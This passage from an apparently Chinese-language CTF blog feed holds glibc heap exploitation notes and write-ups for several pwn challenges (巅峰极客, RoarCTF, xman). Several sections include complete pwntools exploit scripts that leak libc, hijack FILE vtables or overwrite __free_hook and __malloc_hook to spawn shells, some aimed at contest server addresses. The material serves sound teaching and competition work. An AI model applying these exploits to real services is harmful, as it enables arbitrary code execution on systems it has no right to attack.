href="glibc_2.26/unsorted_bin_attack.c">unsorted_bin_attack.c</a> | Exploiting the overwrite of a freed chunk on unsorted bin freelist to write a large value into arbitrary address | < 2.26 | <a href="https://github.com/ctfs/write-ups-2016/tree/master/0ctf-2016/exploit/zerostorage-6">0ctf 2016-zerostorage</a> |</p><h3 id="large-bin-attack"><a href="#large-bin-attack" class="headerlink" title="large_bin_attack"></a>large_bin_attack</h3><p>构造</p><pre><code>1. 一个 large bin chunk 可以实现两个地址内容的修改。将 bk 和 bk_nextsize 改为某两个地址,这两个地址会被写入同一个堆地址。p是一个 large bin chunk 的地址 p2[0] = 0;//fd p2[1] = (unsigned long)(&stack_var2 - 2);//2表示2*8 p2[2] = 0;//fd_nextsize p2[3] = (unsigned long)(&stack_var4 - 4);2. 从 unsorted bin 中来的 large bin chunk 要紧跟在被构造过的 chunk 的后面(比构造过的chunk大),新来的chunk的地址就是被写入的堆地址。</code></pre><p>| <a href="glibc_2.26/large_bin_attack.c">large_bin_attack.c</a> | Exploiting the overwrite of a freed chunk on large bin freelist to write a large value into arbitrary address | < 2.26 | <a href="https://dangokyo.me/2018/04/07/0ctf-2018-pwn-heapstorm2-write-up/">0ctf 2018-heapstorm2</a> |</p><h3 id="house-of-einherjar"><a href="#house-of-einherjar" class="headerlink" title="house_of_einherjar"></a>house_of_einherjar</h3><p>前提是有一个offbyone漏洞。</p><p>后向合并的代码</p><pre><code> if (!prev_inuse(p)) { prevsize = prev_size(p); size += prevsize; p = chunk_at_offset(p, -((long) prevsize)); unlink(av, p, bck, fwd); }</code></pre><p>构造这个块关键在于通过unlink检查:(P是伪造的将被consolidate的低地址的块,P|Q,Q被nullbyte)</p><pre><code>1. 利用 unlink 漏洞的时候:p->fd = &p-3*4p->bk = &p-2*4在这里利用时,因为没有办法找到 &p , 所以直接让:p->fd = pp->bk = p2. chunksize(P) != prev_size (next_chunk(P)) next_chunk是根据P的size算的,也就是说只要P偏移size处的值为size即可。3. Q的PREINUSE位为0,prev_size(Q)需覆盖到P的头部,free(Q)即可获得P+Q的空闲chunk</code></pre><p>和poison_null_byte的区别在于,<br>4. 向低地址合并的时候,house_of_einherjar低地址的块是自己伪造的,而poison_null_byte低地址的块是free来的<br>5. 对于P|Q,poison_null_byte是P被nullbyte,而且是先free P,再nullbyte,所以保留了pre_size(Q),nullbyte后构造假的pre_size(nextchunk( P )),free Q即可获得P+Q,例子里还把P给分成了A|B(因为P的size已经被nullbyte了,所以怎么分都不会再影响pre_size(Q)),然后free A(不free也行,但为了通过size和unlink检查,就得构造:</p><pre><code>*(size_t*)(b1+0x100) = 0x110;//chunksize( A ) != prev_size (next_chunk( A ))*(size_t*)(b1) = (size_t*)(b1-0x10);//FD->bk != P || BK->fd != P*(size_t*)(b1+0x8) =(size_t*) (b1-0x10);</code></pre><p>),free Q后就能够overlap B,这样做的原因是更灵活,因为能控制B的所有信息;house_of_einherjar是Q被nullbyte,然后在P中构造一个假的freed的chunk(p->fd = p p->bk = p;chunksize( P ) != prev_size (next_chunk( P )),prev_size(Q)需恰好覆盖到假chunk的头部,free(Q)即可获得 <code>假chunk+Q</code>的空闲chunk。</p><p>以上是比较保守的做法,how2heap里的就相对大胆,在栈里伪造一个假的freed的chunk,把prev_size(Q)改为<code>nullbyte了的块的地址-栈中假chunk的地址</code>,free(Q)获得了在栈上malloc块的机会。<br>| <a href="glibc_2.26/house_of_einherjar.c">house_of_einherjar.c</a> | Exploiting a single null byte overflow to trick malloc into returning a controlled pointer | < 2.26 | <a href="https://gist.github.com/hhc0null/4424a2a19a60c7f44e543e32190aaabf">Seccon 2016-tinypad</a> |</p><h3 id="house-of-orange"><a href="#house-of-orange" class="headerlink" title="house_of_orange"></a>house_of_orange</h3><p>在题目没有free的情况下,通过malloc(大于top chunk size的值)以将top放入unsortedbin中来获得一个freed的chunk。<br>how2heap的16.04可跑,18.04跑不起来,看的ctfwiki,和IOFILE结合的部分还没怎么看懂<br>| <a href="glibc_2.25/house_of_orange.c">house_of_orange.c</a> | Exploiting the Top Chunk (Wilderness) in order to gain arbitrary code execution | < 2.26 | <a href="https://github.com/ctfs/write-ups-2016/tree/master/hitcon-ctf-2016/pwn/house-of-orange-500">Hitcon 2016 houseoforange</a> |</p><h3 id="House-of-Rabbit"><a href="#House-of-Rabbit" class="headerlink" title="House of Rabbit"></a>House of Rabbit</h3><p>前提条件: </p><pre><code>1. 可以修改 fastbin 的 fd 指针或 size 2. 可以触发 malloc consolidate(merge top 或 malloc big chunk 等等)</code></pre><p>效果:把块放入修改后的size对应的small bin里</p><h3 id="House-of-Roman"><a href="#House-of-Roman" class="headerlink" title="House of Roman"></a>House of Roman</h3><p>fastbin attack 和 Unsortbin attack 结合的一个小 trick。<br>fastbin attack用于在malloc hook附近分配堆块<br>Unsortbin attack用于在malloc hook处填上unsorted bin header的address</p><h3 id="tcache-dup"><a href="#tcache-dup" class="headerlink" title="tcache_dup"></a>tcache_dup</h3><p>tcache的doublefree,看起来什么都没检查(能放进tcache即可),只要有一个地址可以free两次就可。<br>| <a href="glibc_2.26/tcache_dup.c">tcache_dup.c</a> | Tricking malloc into returning an already-allocated heap pointer by abusing the tcache freelist. | 2.26 - 2.28 | |</p><h3 id="tcache-poisoning"><a href="#tcache-poisoning" class="headerlink" title="tcache_poisoning"></a>tcache_poisoning</h3><p>只要改掉放进了tcache的块的fd,就可以获取任意地址的内存</p><ul><li>和fastbin attack的区别在于分配时 tcache 不和块所在 bin 的 idx 进行比较</li></ul><p>| <a href="glibc_2.26/tcache_poisoning.c">tcache_poisoning.c</a> | Tricking malloc into returning a completely arbitrary pointer by abusing the tcache freelist. | > 2.25 | |</p><h3 id="tcache-house-of-spirit"><a href="#tcache-house-of-spirit" class="headerlink" title="tcache_house_of_spirit"></a>tcache_house_of_spirit</h3><p>得先初始化内存malloc(1);<br>需构造chuck的size <=0x410即在tcache范围内<br> The PREV_INUSE (lsb) bit is ignored by free for tcache chunks, however the IS_MMAPPED (second lsb) and NON_MAIN_ARENA (third lsb) bits cause problems.\n”);</p><ul><li>和fastbin attack的区别在于nextchunk的size 需要合法,tcache没这个要求</li></ul><p>| <a href="glibc_2.26/tcache_house_of_spirit.c">tcache_house_of_spirit.c</a> | Frees a fake chunk to get malloc to return a nearly-arbitrary pointer. | > 2.25 | |</p>]]></content>
<tags>
<tag> PWN </tag>
</tags>
</entry>
<entry>
<title>巅峰极客 ichunqiu wp</title>
<link href="dfjk-ichunqiu-wp/"/>
<url>dfjk-ichunqiu-wp/</url>
<content type="html"><![CDATA[<p>记录一下巅峰极客的两道pwn,比赛只出了第一道,第二道PWN是赛后复现的,感觉很值得一学,对理解IOFILE很有帮助。</p><h2 id="Pwn"><a href="#Pwn" class="headerlink" title="Pwn"></a>Pwn</h2><h3 id="题目分析"><a href="#题目分析" class="headerlink" title="题目分析"></a>题目分析</h3><p>保护全开,乍看add、delete、show、change全有</p><p>然而仔细一看这个change往块里读的是stream的内容</p><p><img src="https://qiiq-1258887625.cos.ap-chengdu.myqcloud.com/20191030004923.png"></p><p>而stream是<code>fopen("/dev/urandom", "r");</code>得到的fd</p><p><img src="https://qiiq-1258887625.cos.ap-chengdu.myqcloud.com/20191030005009.png"></p><p>delete存在UAF</p><p><img src="https://qiiq-1258887625.cos.ap-chengdu.myqcloud.com/20191030011714.png"></p><p>add要求块数量<=0xF,大小>0x7F,块的地址必须在[heapbase,heapbase+0x600]</p><p><img src="https://qiiq-1258887625.cos.ap-chengdu.myqcloud.com/20191030011929.png"></p><p>show,没什么特别的</p><p><img src="https://qiiq-1258887625.cos.ap-chengdu.myqcloud.com/20191030012203.png"></p><h3 id="利用"><a href="#利用" class="headerlink" title="利用"></a>利用</h3><ol><li>泄露libc和heap base</li><li>构造overlap改top的size,利用house_of_force在堆基地址分配块,改stream的内容</li><li>改stream的fileno为0即stdin,可以正常输入,这样就可以修正top chunk的size,否则后面的malloc函数和free函数都不能使用。</li><li>改stream的vtable->__xsgetn为fopen,恰当构造“./flag”和“r”字符串,可以在change的时候fopen(“./flag”,”r”)。</li><li>将stream的vtable的内容改回正常的值(只需将vtable->__xsgetn 和 vtable->__read改为正常值即可)</li><li>change随便一个块,因为此时stream的fileno为fopen(“./flag”,”r”)得到的文件描述符,所以flag的值会被写入该块,随后show该块即可得到flag</li></ol><p>详解写在注释里了。懒得在虚拟机里安中文输入法,我的塑料英文嘿嘿。。</p><pre><code class="python">from pwn import *context.log_level = 'debug'context(arch = 'amd64', os = 'linux')ti="./pwn1"debug=1if debug==0: io = remote()elif debug==1: io = process(ti)elf=ELF(ti) libc=ELF("./libc.so.6")s = lambda data :io.send(str(data)) sa = lambda delim,data :io.sendafter(str(delim), str(data))sl = lambda data :io.sendline(str(data))sla = lambda delim,data :io.sendlineafter(str(delim), str(data))r = lambda numb=4096 :io.recv(numb)ru = lambda delims, drop=True :io.recvuntil(delims, drop)def add(index,size,content): #16 ru('Choice:') sl(1) ru('input your index:\n') sl(index) ru('input your size:\n')#>=0x80 sl(size) ru('input your context:\n') sl(content)def delete(index): ru('Choice:') sl(2) ru('input your index:\n') sl(index)def show(index): ru('Choice:') sl(3) ru('input your index:\n') sl(index) def change1(index): ru('Choice:') sl(4) ru('input your index:\n') sl(index)def change2(index, content): ru('Choice:') sl(4) ru('input your index:\n') sl(index) sleep(0.1) s(content)add(0,0x100-8,'0')add(1,0x100-8,'1')add(2,0x90-8,'2')add(3,0x90-8,'3')#avoid cosolidate with top#leak libcdelete(0)show(0)ru('note[0]: ')leak=u64(ru('\n').ljust(8,'\x00'))libc.address=leak-0x3c4b78log.success("libc base: "+hex(libc.address))#leak heap basedelete(2)show(2)ru('note[2]: ')leak=u64(ru('\n').ljust(8,'\x00'))heap_base=leak-0x230log.success("heap base : "+hex(heap_base))#overlapadd(4,0x90-8,'2'*(0x28)+p64(0x61))#get 2delete(1)add(5,0x100-8+0x100,'\x00'*(0x100-8)+p64(0x131))#get 0 and 1 in one chunkdelete(1)#cosolidate 1 and part of 2 to a 0x130 chunckdelete(3)#rise topdelete(4)#rise topadd(6,0x130-8,'\x00'*(0x100-8)+p64(0xffffffffffffffff))#change top size#house_of_force to get the IO_FILEadd(7,-0x430-8,"1")#set fileno 0 => stdinfake = p64(0xfbad248b) + p64(heap_base+0x93)*7 + p64(heap_base + 0x94) + p64(0x0)*4 +p64(libc.address +0x3c5540) fake += p64(0x0) #filenofake += p64(0x0)*2 + p64(heap_base +0xf0) + p64(0xffffffffffffffff) + p64(0x0) + p64(heap_base+0x100) +p64(0x0)*6add(8, 0x110-8, fake)#recover top sizeadd(9, 0x130-8, 'b')change2(0, p64(0x0) + p64(0x20dc1) +'\x00'*0xf0)#set fd="./flag" and fileno 4 and vtablefake = "./flag\x00\x00" + p64(heap_base+0x93)*7 + p64(heap_base + 0x94) + p64(0x0)*4 + p64(libc.address+0x3c5540) fake += p64(0x4) #set fileno 4 which fopen("./flag","r") fake += p64(0x0)*2 + p64(heap_base+0xf0) + p64(0xffffffffffffffff)+ p64(0x0) + p64(heap_base+0x100)+p64(0x0)*6 fake += p64(heap_base+0x250)#vtablechange2(8, fake.ljust(0x110-8, '\x00'))#fake vtablefake_vtable = p64(0x0)*8 fake_vtable += p64(libc.address + 0x6dd70)#vtable->__xsgetn => _IO_new_fopen #glibc2.23 define fopen(fname, mode) _IO_new_fopen (fname, mode)add(0xc, 0x80,fake_vtable)add(0xd, 0x80, "r")change1(0xd) #fread("r",1,0x80,stream) => __GI__IO_file_xsgetn(stream, "r", 1*0x80); <=> fopen("./flag","r") #0x80 is useless#there will be a new IOFILE whose fileno is 4#change vtable to a normal onedelete(0xc)fake_vtable2 = p64(0x0)*8fake_vtable2 += p64(libc.address + 0x78ec0)#vtable->__xsgetn =>__GI__IO_file_xsgetnfake_vtable2 += p64(0x0)*5 fake_vtable2 += p64(libc.address + 0x791a0)#vtable->__read => __GI__IO_file_readadd(0xe, 0x80, fake_vtable2)#any number is okay #change1(0x9)#fread(notes[0x9],1,0x88,stream)#show(0x9)change1(0xc)#fread(notes[0x9],1,0x88,stream)show(0xc)io.interactive()</code></pre><p><img src="https://qiiq-1258887625.cos.ap-chengdu.myqcloud.com/20191030013445.png"></p><p>此外</p><ul><li><p>这题给了一个hint是 <code> vtable fake</code>,但我觉得<code>fileno</code>才是关键。</p></li><li><p>自己试了一下改stream的vtable为onegadget,试图通过exit时 _IO_flush_all_lockp 来getshell,但是没成功,以后再试试吧,失败的exp就不贴了。</p></li></ul><p><a href="https://mp.weixin.qq.com/s?srcid=&scene=23&sharer_sharetime=1572254450974&mid=2247484190&sharer_shareid=320e5560449713d5dd07c87751f5b66c&sn=1fbc52e7bbc5c665ef2cfa6b37f12305&idx=1&__biz=MzU3MzczNDg1OQ==&chksm=fd3c69baca4be0ac2887c41d7ca23f7301d5d768f53470e53f9eb3306fb3815f8e54f26d0e2f&mpshare=1#rd">巅峰极客wp</a></p><h2 id="Snote"><a href="#Snote" class="headerlink" title="Snote"></a>Snote</h2><pre><code class="python">from pwn import *from LibcSearcher import *context.log_level = 'debug'context(arch = 'amd64', os = 'linux')debug=0if debug==0: io = remote("55fca716.gamectf.com",37009) elf=ELF("./Snote")elif debug==1: io = process("./Snote") elf=ELF("./Snote")libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")s = lambda data :io.send(str(data)) sa = lambda delim,data :io.sendafter(str(delim), str(data))sl = lambda data :io.sendline(str(data))sla = lambda delim,data :io.sendlineafter(str(delim), str(data))r = lambda numb=4096 :io.recv(numb)ru = lambda delims, drop=True :io.recvuntil(delims, drop)def add(size,content): ru('Your choice > ') sl(1) ru('Size > ') sl(size) ru('Content > \n') s(content)def show():#once ru('Your choice > ') sl(2) def delete():#once ru('Your choice > ') sl(3) def edit(size,content): ru('Your choice > ') sl(4) ru('Size > ') sl(size) ru('Content > \n') s(content)ru("What's your name?\n")sl("Q1IQ")c="1"add(0x70-8,"0"*(0x70-8))add(0x70-8,"1"*(0x70-8))edit(0x70,"2"*(0x70-8)+p64(0xf21))add(0x1000,"3")add(0x70-8,"0"*8)show()leak=u64(ru("Done")[8:16])log.success(hex(leak))libc.address=leak-0x3c5188log.success(hex(libc.address))delete()edit(8,p64(libc.address+0x3c4b10-0x23))add(0x70-8,"0"*(0x70-8))onegadgets=[0x45216,0x4526a,0xf02a4,0xf1147]onegadget=libc.address+onegadgets[2]c="d"*0xB+p64(0)+p64(onegadget)+'\x00'*8#c="d"*0xB+p64(onegadget)+p64(libc.symbols['realloc'])+'\x00'*8add(0x70-8,c)ru('Your choice > ')sl(1) ru('Size > ')sl(0x10)io.interactive()</code></pre>]]></content>
<tags>
<tag> PWN </tag>
</tags>
</entry>
<entry>
<title>RoarCTF wp</title>
<link href="RoarCTF-wp/"/>
<url>RoarCTF-wp/</url>
<content type="html"><![CDATA[<h3 id="realloc-magic"><a href="#realloc-magic" class="headerlink" title="realloc_magic"></a>realloc_magic</h3><p>一共三个功能</p><p>realloc。realloc 0可以达到free+清零的效果。</p><p><img src="https://qiiq-1258887625.cos.ap-chengdu.myqcloud.com/20191028215103.png"></p><p>free。存在UAF,可以realloc已经free的内存。</p><p><img src="https://qiiq-1258887625.cos.ap-chengdu.myqcloud.com/20191028215119.png"></p><p>backdoor。功能是清零,只能用一次。</p><p><img src="https://qiiq-1258887625.cos.ap-chengdu.myqcloud.com/20191028220146.png"></p><p>overlap tcache 的方法是free块8次,就可以把这一块放到unsorted bin里,把块分为A|B,A和B得不一样大,realloc(A.size)得到A,realloc(0)把A放到tcache里,realloc(B.size)得到B,realloc(0)把B放到tcache里,realloc(A+B的size)改B的size和fd,realloc(B.size),realloc(0),再realloc(B.size)就可以得到fd所在的内存。</p><p>通过以上overlap的方法改stdout泄露返回地址,ba()清空地址, overlap改<code>__free_hook</code>:把<code>libc.symbols['__free_hook']-8</code>改为<code>'/bin/sh\x00' + p64(libc.symbols['system'])</code>。</p><p>改realloc_hook行不通,暂不知道为什么。</p><pre><code class="python">from pwn import *debug=1context.log_level = 'debug'context.terminal = ['tmux', 'splitw', '-h']if debug: io = process("./realloc_magic.dms")else: io = remote("39.97.182.233",37783)elf = ELF('./realloc_magic.dms')libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")s = lambda x :io.send(str(x))sa = lambda x,y :io.sendafter(str(x), str(y))sl = lambda x :io.sendline(str(x))sla = lambda x,y :io.sendlineafter(str(x), str(y))r = lambda x :io.recv(x)ru = lambda x :io.recvuntil(x)def realloc(sz,data): ru('>> ') sl('1') ru('Size?') sl(str(sz)) ru('Content?') s(data)def free(): ru('>> ') sl('2')def ba(): ru('>> ') sl('666') ru("Done\n")realloc(0x100+0xf0+0x20-8,"0")realloc(0x100+0xf0-8,"1")for i in range(7): free()realloc(0,'')realloc(0x100-8,"2")realloc(0,'')realloc(0xf0-8,"3")for i in range(7): free()realloc(0,"")realloc(0x1f0-8,"1"*0xf8+p64(0x31)+"\x60\x07\xdd")realloc(0,'')realloc(0xf0-8,"1")realloc(0,'')c=p64(0xfbad1800)c+=p64(0x0)*3c+='\x80'realloc(0xf0-8,c)ru('\n')libc.address=u64(r(8))-0x3ec780log.success("libc base:"+hex(libc.address))ba()realloc(0xe0+0x20-8,"1")realloc(0xa0+0x40-8,"1")for i in range(7): free()realloc(0,'')realloc(0xa0-8,"a")realloc(0,'')realloc(0x40-8,"a")realloc(0,'')realloc(0xa0+0x40-8,"1"*0x98+p64(0x51)+p64(libc.symbols['__free_hook']-8))realloc(0,'')realloc(0x40-8,"1")realloc(0,'')ogs=[324293,324386,1090444]realloc(0x40-8,'/bin/sh\x00' + p64(libc.symbols['system']))ru('>> ')sl('2')io.interactive()</code></pre><h3 id="easypwn"><a href="#easypwn" class="headerlink" title="easypwn"></a>easypwn</h3><pre><code class="python">from pwn import *from LibcSearcher import *context.log_level = 'debug'context(arch = 'amd64', os = 'linux')def change_ld(binary, ld): """Force to use assigned new ld.so by changing the binary """ if not os.access(ld, os.R_OK): log.failure("Invalid path {} to ld".format(ld)) return None if not isinstance(binary, ELF): if not os.access(binary, os.R_OK): log.failure("Invalid path {} to binary".format(binary)) return None binary = ELF(binary) for segment in binary.segments: if segment.header['p_type'] == 'PT_INTERP': size = segment.header['p_memsz'] addr = segment.header['p_paddr'] data = segment.data() if size <= len(ld): log.failure("Failed to change PT_INTERP from {} to {}".format(data, ld)) return None binary.write(addr, ld.ljust(size, '\0')) if not os.access('/tmp/pwn', os.F_OK): os.mkdir('/tmp/pwn') path = '/tmp/pwn/{}_debug'.format(os.path.basename(binary.path)) if os.access(path, os.F_OK): os.remove(path) info("Removing exist file {}".format(path)) binary.save(path) os.chmod(path, 0b111000000) #rwx------ success("PT_INTERP has changed from {} to {}. Using temp file {}".format(data, ld, path)) return pathdebug=0if debug ==1: path=change_ld('./easy_pwn.dms', './ld.so.2') io = process(path,env={'LD_PRELOAD':'./libc.so.6'}) libc = ELF("./libc.so.6") elf=ELF(path)elif debug==0: io = remote("39.97.182.233",34223) libc = ELF("/lib/x86_64-linux-gnu/libc.so.6") elf=ELF("./easy_pwn.dms")elif debug==2: io = process("./easy_pwn.dms") libc = ELF("/lib/x86_64-linux-gnu/libc.so.6") elf=ELF("./easy_pwn.dms")s = lambda data :io.send(str(data)) sa = lambda delim,data :io.sendafter(str(delim), str(data))sl = lambda data :io.sendline(str(data))sla = lambda delim,data :io.sendlineafter(str(delim), str(data))r = lambda numb=4096 :io.recv(numb)ru = lambda delims, drop=True :io.recvuntil(delims, drop)def create(size): ru("choice: ") sl('1') ru("size: ") sl(str(size))def write(idx,size,content): ru("choice: ") sl('2') ru("index: ") sl(str(idx)) ru("size: ") sl(str(size)) ru("content: ") s(content)def drop(idx): ru("choice: ") sl('3') ru("index: ") sl(str(idx))def show(idx): ru("choice: ") sl('4') ru("index: ") sl(str(idx))create(0x70-8)create(0x20-8)create(0xc0-8)create(0x70-8)create(0x70-8)write(0,0x70+10-8,'a'*(0x70-8)+'\xe1')drop(1)create(0xe0-8)#1write(1,0x20,'a'*(0x20-8)+p64(0xc1))drop(2)show(1)ru("content: ")r(0x20)unsorted_bin=u64(r(6).ljust(8,'\x00'))log.success(hex(unsorted_bin))libc.address=unsorted_bin-0x3c4b78create(0x70-8)#2drop(2)content=p64(libc.symbols['__malloc_hook']-0x23)print hex(u64(content))onegadgets=[0x45216,0x4526a,0xf02a4,0xf1147]onegadget=libc.address+onegadgets[1]c='a'*(0x20-8)c+=p64(0x71)c+=contentwrite(1,len(c),c)create(0x70-8)create(0x70-8)c="d"*0xB+p64(0)+p64(onegadget)+'\x00'*8c="d"*0xB+p64(onegadget)+p64(libc.symbols['realloc'])+'\x00'*8write(5,len(c),c)create(1)io.interactive()</code></pre>]]></content>
<tags>
<tag> PWN </tag>
</tags>
</entry>
<entry>
<title>heap overlap方法小结</title>
<link href="heap-overlap-summary/"/>
<url>heap-overlap-summary/</url>
<content type="html"><![CDATA[<p>本文不考虑和top合并, 并且大小非fastbin。实际做题的时候得要考虑top。</p><h2 id="free时overlap"><a href="#free时overlap" class="headerlink" title="free时overlap"></a>free时overlap</h2><h3 id="poison-null-byte"><a href="#poison-null-byte" class="headerlink" title="poison_null_byte"></a>poison_null_byte</h3><p><code>P(P是size被null的块)|Q</code></p><p>需要构造的点:</p><pre><code>1. chunksize(P) == prev_size (next_chunk(P)) //因为offbyone后的size一定<=原始size,所以prev_size (next_chunk(P)) 可以自己伪造2.free(P)后分割P为块A和B A|B,此时Q的pre_inuse也为0了3.free A,free Q,A和Q会 consolidate, B就被overlap了</code></pre><p>注意 free 的时候</p><pre><code>- 检查前一个chunk空闲吗(检查本块的prev_inuse)- 检查后一个是不是top chunk- 检查后一个chunk空闲吗(nextinuse = inuse_bit_at_offset(nextchunk, nextsize);)</code></pre><p>这种方法利用的点就在于free Q的时候,glibc2.23 没有检查 prev_size(Q) == chunksize(pre_chunk(Q))<br>glibc2.23:<br><img src="https://img-blog.csdnimg.cn/20191015193932305.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dlaXhpbl80MzM1MDg4MA==,size_16,color_FFFFFF,t_70" alt="在这里插入图片描述"><br>glibc2.29是要检查的了(我看的在线版是2.29而已),此时这个利用方法就失效了。<br><img src="https://img-blog.csdnimg.cn/20191015182545197.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dlaXhpbl80MzM1MDg4MA==,size_16,color_FFFFFF,t_70" alt="在这里插入图片描述"></p><h3 id="CTFWiki5:通过extend前向overlapping"><a href="#CTFWiki5:通过extend前向overlapping" class="headerlink" title="CTFWiki5:通过extend前向overlapping"></a>CTFWiki5:通过extend前向overlapping</h3><p>通过修改pre_inuse域和pre_size域实现合并前面的块</p><pre><code>int main(void){ void *ptr1,*ptr2,*ptr3,*ptr4; ptr1=malloc(128);//smallbin1 ptr2=malloc(0x10);//fastbin1 ptr3=malloc(0x10);//fastbin2 ptr4=malloc(128);//smallbin2 malloc(0x10);//防止与top合并 free(ptr1); *(int *)((long long)ptr4-0x8)=0x90;//修改pre_inuse域 *(int *)((long long)ptr4-0x10)=0xd0;//修改pre_size域 free(ptr4);//unlink进行前向extend malloc(0x150);//占位块}</code></pre><p>和 poison_null_byte 的区别在于:本例中pre_inuse(Q)和pre_size(Q)都是自己伪造的,而 poison_null_byte 是free(P)得到的。</p><h3 id="overlapping-chunks-向高地址合并"><a href="#overlapping-chunks-向高地址合并" class="headerlink" title="overlapping_chunks(向高地址合并)"></a>overlapping_chunks(向高地址合并)</h3><p><code>A|B|C</code><br>A的size改为A+B的size<br>free(A)<br>malloc(sizeof(A+B)) 即可overlap B</p><h3 id="overlapping-chunks-2"><a href="#overlapping-chunks-2" class="headerlink" title="overlapping_chunks_2"></a>overlapping_chunks_2</h3><p><code>A|B|C</code><br>A的size改为A+B的size<br>free( C )<br>free( A )<br>malloc(sizeof(A+B+C))<br>B就被overlap了</p><h3 id="house-of-einherjar"><a href="#house-of-einherjar" class="headerlink" title="house_of_einherjar"></a>house_of_einherjar</h3><p>首先看后向合并(向低地址合并)的代码</p><pre><code> if (!prev_inuse(p)) { prevsize = prev_size(p); size += prevsize; p = chunk_at_offset(p, -((long) prevsize)); unlink(av, p, bck, fwd); }</code></pre><p>house_of_einherjar的关键就在于绕过unlink的检查:</p><p><code>P(内部伪造了假块p)|Q(被nullbyte)</code></p><pre><code>1. 利用 unlink 漏洞的时候:p->fd = &p-3*4p->bk = &p-2*4在这里利用时,因为没有办法找到 &p , 所以直接让:p->fd = pp->bk = p2. chunksize(p) != prev_size (next_chunk(p)) next_chunk是根据p的size算的,也就是说只要p偏移size处的值为size即可。3. Q的pre_inuse位为0,prev_size(Q)需覆盖到p的头部,free(Q)即可获得prev_size(Q)+sizeof(Q)的空闲chunk</code></pre><p>和poison_null_byte及CTFWiki5的区别就在于,free后向低地址合并的时候,house_of_einherjar低地址的块是自己伪造的,而poison_null_byte低地址的块是free来的。</p><p>其实poison_null_byte低地址的块也可以自己伪造。对于<code>P|Q</code>,poison_null_byte是P被nullbyte,而且是先free(P),再nullbyte,所以保留了pre_size(Q),nullbyte后构造假的pre_size(nextchunk(P)),free(Q)即可获得P+Q。例子里是把P给分成了A|B(因为P的size已经被nullbyte了,所以怎么分都不会再影响pre_size(Q)),然后free A,以在free(Q)的时候绕过unlink检查,当然也可以通过伪造来绕过size和unlink检查,构造以下条件即可:</p><pre><code>*(size_t*)(b1+0x100) = 0x110;//chunksize(A) != prev_size (next_chunk(A))*(size_t*)(b1) = (size_t*)(b1-0x10);//FD->bk != P || BK->fd != P*(size_t*)(b1+0x8) =(size_t*) (b1-0x10);</code></pre><p>当然分为A和B也有好处,这样能够overlap B,控制B的所有信息。</p><p>以上是比较保守的做法,how2heap里的就相对大胆:在栈里伪造一个假的freed的chunk,把prev_size(Q)改为<code>nullbyte了的块的地址-栈中假chunk的地址</code>,free(Q)后获得了在栈上malloc块的机会。</p><h2 id="malloc时overlap"><a href="#malloc时overlap" class="headerlink" title="malloc时overlap"></a>malloc时overlap</h2><h3 id="CTFWiki3:对free的smallbin进行extend"><a href="#CTFWiki3:对free的smallbin进行extend" class="headerlink" title="CTFWiki3:对free的smallbin进行extend"></a>CTFWiki3:对free的smallbin进行extend</h3><pre><code>int main(){ void *ptr,*ptr1; ptr=malloc(0x80);//分配第一个0x80的chunk1 malloc(0x10);//分配第二个0x10的chunk2 free(ptr);//首先进行释放,使得chunk1进入unsorted bin *(int *)((int)ptr-0x8)=0xb1; ptr1=malloc(0xa0);}</code></pre>]]></content>
<tags>
<tag> PWN </tag>
</tags>
</entry>
<entry>
<title>xman wp</title>
<link href="xman-wp/"/>
<url>xman-wp/</url>
<content type="html"><![CDATA[<h3 id="weapon-store"><a href="#weapon-store" class="headerlink" title="weapon_store"></a>weapon_store</h3><p>三个功能:view、buy、checkout</p><p>view,有点想吐槽,你一个卖武器的,价目表居然跟实际价格不一样。。下面的buy功能可以看到实际价格计算方法是<code>100 * (v3 + 1) - 29</code>,也就是说武器1卖171,武器2卖271。371。471。。。。</p><p><img src="https://qiiq-1258887625.cos.ap-chengdu.myqcloud.com/20191102130240.png"></p><p>buy,先计算买的武器单价*数量是不是超过了手里的money,没超过就放到购物车里,但可以通过整数溢出绕过这个限制;另外可以看到malloc的时候还和0x1ff与了一下,可能有堆溢出。</p><p><img src="https://qiiq-1258887625.cos.ap-chengdu.myqcloud.com/20191102130115.png"></p><p>checkout,当手里的money少于买下所有武器要花的钱时,就给你一次堆溢出的机会,这时可以把其他武器的name改换为flag输出。</p><p><img src="https://qiiq-1258887625.cos.ap-chengdu.myqcloud.com/20191102130855.png"></p><p>输入选项的地方看起来可以泄露点什么出来</p><p><img src="https://qiiq-1258887625.cos.ap-chengdu.myqcloud.com/20191030190305.png"></p><p>但这个地方存放的是两个栈里的值,一个text段的值,也得不到什么信息</p><p><img src="https://qiiq-1258887625.cos.ap-chengdu.myqcloud.com/20191030190101.png"></p><p>这道题绊住我的是做法的问题,一直想的是怎么getshell。虽然data段里有<code>Flag</code>这几个大字,但谁能想到这题是让你泄露它啊。</p><p><img src="https://qiiq-1258887625.cos.ap-chengdu.myqcloud.com/20191102125812.png"></p><pre><code class="python">from pwn import *debug=1#context.log_level = 'debug'context.terminal = ['tmux', 'splitw', '-h']if debug: io = process("./weapon_store")#,env={'LD_PRELOAD':'./libc-2.27.so'})else: io = remote("47.97.253.115",10002)elf = ELF('./weapon_store')libc = ELF("./libc-2.27.so")s = lambda x :io.send(str(x))sa = lambda x,y :io.sendafter(str(x), str(y))sl = lambda x :io.sendline(str(x))sla = lambda x,y :io.sendlineafter(str(x), str(y))r = lambda x :io.recv(x)ru = lambda x :io.recvuntil(x)def view(): ru("Your choice:") sl(1)def buy(which,amount): ru("Your choice:") sl(2) ru("Which do you want to buy:") sl(which) ru("How many do you want to buy:") sl(amount)#1 2 3 4 171 271 371 471#money 0x1000 4096def checkout(): ru("Your choice:") sl(3)#buy(1,1)#c0buy(1,2)#160#buy(1,3)#20#buy(1,4)#c0#buy(1,5)#160#buy(1,6)#20buy(1,2)#160checkout()buy(1,9)buy(1,9)buy(1,9)#20buy(4,0x8b2468)#160checkout()ru("Do you want to remove a weapon?(y/n)\n")sl("y")ru('Please tell us about the reason why you are so poor:')s("2"*0x158+p64(0x21)+p64(0)*3+p64(0x21)+p64(0)*3+p64(0x31)+p32(0x603)+p32(9)+p64(0)+'\x20')checkout()ru("3. Name: ")log.success("flag : "+ru("Price:")[:-6])#gdb.attach(io)#io.interactive()</code></pre><p>运行结果</p><p><img 